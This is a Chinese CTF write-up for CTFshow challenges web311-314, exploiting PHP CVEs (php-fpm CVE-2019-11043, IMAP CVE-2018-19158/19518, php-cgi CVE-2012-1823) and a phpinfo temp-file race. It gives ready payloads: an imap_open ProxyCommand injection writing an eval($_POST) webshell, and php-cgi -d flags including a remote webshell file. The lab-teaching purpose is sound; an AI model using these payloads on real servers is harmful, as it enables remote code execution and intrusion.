CTFSHOW web311-314 CVE-wtiteup
# ctfshow php CVE wtiteup
# web 311 CVE-2019-11043
打开题目,看到f12网络响应中,php版本7.33dev,浏览器搜索相关CVE漏洞,找到是php-fpm 漏洞 (CVE-2019-11043),在Github中存在相关exp,项目地址 (opens new window)
漏洞成因
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
2
3
4
5
6
7
- Nginx + php-fpm,location ~ [^/].php(/|$)必须转发到 php-fpm
- 此漏洞假设fastcgi_split_path_info指令存在且包含以 开头^并以 结尾的正则表达式$,可以尝试使用换行符来破坏正则表达式。
题目需要Go环境,没有先安装环境
sudo apt update
sudo apt install golang
2
go官方服务器在国外,国内无法访问,设置go国内代理
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go env -w GOPROXY=https://goproxy.cn
go get -v && go build
2
3
4
利用工具破坏 fastcgi_split_path_info 指令来使题目达到命令执行
go run . "http://92cdd785-55c4-4b35-85fa-ae1dc7fdc367.challenge.ctf.show/index.php"
在题目后传入命令a参数
url?a=ls
命令参数可能需要多次传入才会有回显
# web 312 IMAP(CVE-2018-19158)
相关漏洞:php imap(CVE-2018-19158),php的imap邮件扩展
提示
IMAP协议(因特网消息访问协议)它的主要作用是邮件客户端可以通过这种协议从邮件服务器上获取邮件的信息,下载邮件等。它运行在TCP/IP协议之上,使用的端口是143。在php中调用的是imap_open函数
函数分析
imap_open(string $mailbox,string $user,string $password)
其中参数mailbox,是用来连接邮箱服务器的。它会调用rsh来连接远程shell,在debian/ubuntu环境默认使用ssh来代替rsh
$mailbox参数的值由服务器名和服务器上的mailbox文件路径所组成
$mbox = imap_open ("{localhost:993/PROTOCOL/FLAG}INBOX", "user_id", "password");
INBOX代表的是当前用户的个人邮箱。在花括号内的字符串中,有服务器域名(或者IP地址)、端口号以及协议名称,标志。用户可以在协议名后设置(第3个参数)。
这个漏洞从第一个参数着手,POC格式:x+-oProxyCommand%3decho%09编码后的内容|base64%09-d|sh}
好现在我们把这个POC补充完整,缺少一个bash64编码的shell命令
# 注意echo用单引号,双引号$会出现特殊含义导致错误
echo '<?php eval($_POST[1]);?>' > 1.php
# 编码后的sh,如果存在+=,再进行一次url编码
ZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+JyA+IDEucGhw
# payload
ZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2BJyA%2BIDEucGhw
2
3
4
5
6
替换后的payload:
x+-oProxyCommand%3decho%09ZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2BJyA%2BIDEucGhw|base64%09-d|sh}
只给一个服务器地址就能执行,邮箱密码随便了。用hackbar的post,bp发包都可以,会提示报错,但是木马已经写进去了,直接访问
post:
hostname=x+-oProxyCommand%3decho%09ZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2BJyA%2BIDEucGhw|base64%09-d|sh}&username=1&password=1
参考:
- php imap(CVE-2018-19158) (opens new window)
- CVE-2018-19518 PHP-IMAP 复现和学习 (环境CTFShow web312) (opens new window)
- PHP 远程命令执行漏洞(CVE-2018-19518) (opens new window)
- Practice - CTFSHOW WEB入门 PHP-CVE篇 (opens new window)
# web 313 PHP/5.4.1 PHP-CGI远程代码执行漏洞CVE-2012-1823漏洞
Google题目php版本的漏洞,找到相关文章
提示
php-cgi把http请求所带的数据进行解析
PHP-CGI模式常见参数
-c 指定php.ini文件的位置
-n 不要加载php.ini文件
-d 指定配置项
-b 启动fastcgi进程
-s 显示文件源码
-T 执行指定次该文件
-h和-? 显示帮助
2
3
4
5
6
7
在url后添加url?-s参数,可以看到网页源码,也证实了这道题确实考察这个漏洞
可以通过-d参数来指定php.ini的配置项,经常做题的人应该都知道..这两个配置项
# 在所有页面加载前,自动包含指定文件
auto_prepend_file=filename
# 在文件加载后包含
auto_append_file=filename
2
3
4
这两个配置经常用作给网页添加相同的nav样式,head样式,footer样式啦..,这里待会借用一下
现在我们可以包含文件了,可以利用文件包含漏洞,再-d参数打开一个allow_url_include配置项就可以利用伪协议或者远程文件来打组合拳了
allow_url_include
做法1:远程文件包含
没有公网ip,借用一下隔壁buu靶机,写个马在txt文件里
# payload,注意这些配置项的内容要url编码一次,因为这里=,:并不是常见的url传参赋值
url?-d+allow_url_include%3don+-d+auto_prepend_file%3dhttp%3A%2F%2F7488d3b8-33f3-4b88-9c28-2e16f41ed6fb.node5.buuoj.cn%3A81%2F1.txt
2
另外远程文件的木马,$_GET[1]或$_POST[1]会报错,需要加引号。不加引号似乎会联系木马文件的上下文寻找
做法2:伪协议
测试了data:text/plain,php://filter伪协议好像都不行,php://input可以,需要bp发包post数据,hacker不支持直接post,而是键值对
# payload
url?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3A%2F%2Finput
# post
<?php phpinfo();?>
2
3
4
参考:
- PHP-CGI远程代码执行漏洞CVE-2012-1823漏洞复现 (opens new window)
- auto_prepend_file与auto_append_file使用方法 (opens new window)
# web 314 php/7.3.22 包含POST数据生成的临时文件
<?php
error_reporting(0);
highlight_file(__FILE__);
//phpinfo
$file = $_GET['f'];
if(!preg_match('/\:/',$file)){
include($file);
}
2
3
4
5
6
7
8
过滤不严格,直接日志包含,session包含等都可以,详细看往期文章文件包含 (opens new window)
讲讲这题考察点,实现和session包含差不多
这题考察的利用phpinfo函数会显示通过发送POST数据生成的临时文件,进行包含达到getshell
在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件(通常是/tmp/php[6个随机字符]),文件名可以在$_FILES变量中找到。这个临时文件,在请求结束后就会被删除。
理论上我们需要先发送数据包给phpinfo页面,然后从返回页面中匹配出临时文件名,再将这个文件名发送给文件包含漏洞页面,进行getshell。在第一个请求结束时,临时文件就被删除了,第二个请求自然也就无法进行包含。
这个时候就需要用到条件竞争,具体流程如下:
- 发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据
- 因为phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大
- php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接
- 所以,我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包
- 此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除
- 利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell
利用exp脚本,查看exp (opens new window)